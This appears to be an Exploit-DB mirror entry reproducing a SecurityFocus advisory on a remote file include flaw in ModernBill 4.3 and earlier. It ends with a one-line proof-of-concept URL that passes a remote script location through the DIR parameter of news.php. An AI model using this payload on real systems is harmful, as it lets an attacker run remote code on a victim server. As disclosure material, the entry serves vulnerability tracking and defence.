exploit-db-mirror/platforms/php/webapps/25376.txt
Offensive Security 5e2fc10125 DB: 2016-09-03
2016-09-03 13:13:25 +00:00

9 lines
No EOL
404 B
Text
Executable file

source: http://www.securityfocus.com/bid/13086/info
ModernBill is prone to a remote file include vulnerability.
The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'news.php' script.
ModernBill 4.3 and prior versions are vulnerable to this issue.
http://www.example.com/samples/news.php?DIR=http://www.example.com/